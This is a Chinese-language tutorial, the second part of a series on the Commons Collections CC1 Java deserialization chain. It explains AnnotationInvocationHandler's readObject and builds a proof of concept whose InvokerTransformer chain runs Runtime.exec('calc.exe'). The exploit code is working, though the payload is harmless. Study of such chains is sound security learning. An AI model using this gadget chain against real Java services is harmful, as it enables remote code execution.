java安全之CC1浅学(2)
作者:互联网
AnnotationInvocationHandler
前面说过,触发漏洞的核心,在于需要向Map中加入新的元素,在上一篇中,我们是手动执行行 outerMap.put("test", "xxxx");
来触发漏洞的,所以在实际反序列化利用的时候,时,我们需要找到一个 类,它在反序列化的readObject
逻辑里有类似的写入操作。
这个类就是 sun.reflect.annotation.AnnotationInvocationHandler
,我们查看它的readObject
方法(这是8u71以前的代码,8u71以后做了一些修改)
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
}catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑就是 Map.Entry memberValue : memberValues.entrySet()
和 memberValue.setValue(...)
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler
对象,并将前面构造的HashMap
设置进来
Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里因为sun.reflect.annotation.AnnotationInvocationHandler
是在JDK内部的类,不能直接使用new来实例化。可以使用反射获取它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。AnnotationInvocationHandler
类的构造函数有两个参数,第一个参数是一个Annotation
类;第二个是参数就是前面构造的Map
这里有两个问题:什么是Annotation类?为什么这里使用 Retention.class ?
需要反射#
上面我们构造了一个AnnotationInvocationHandler
对象,它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
我们和上一篇文章的payload
组成一个完整的POC。我们试着运行这个POC,看看能否生成序列化数据流
在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime
原因是Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable
接口。而我们最早传给ConstantTransformer
的是 Runtime.getRuntime()
,Runtime类是没有实现 java.io.Serializable
接口的,所以不允许被序列化的。
在前边的《Java安全之反射》一篇中,提到可以通过反射来获取当前上下文中的Runtime对象,而不需要直接使用这个类:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");
转换成Transformer的写法就是如下:
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
};
这里我们将Runtime.getRuntime()
换成了 Runtime.class
,前者是一个 java.lang.Runtime
对象,后者是一个 java.lang.Class
对象。Class类有实现Serializable
接口,所以可以被序列化的。
这里是传入一个Runtime.class
,通过反射拿到Runtime.getRuntime()
,然后再反射拿到invoke
方法,再反射拿到exec
方法。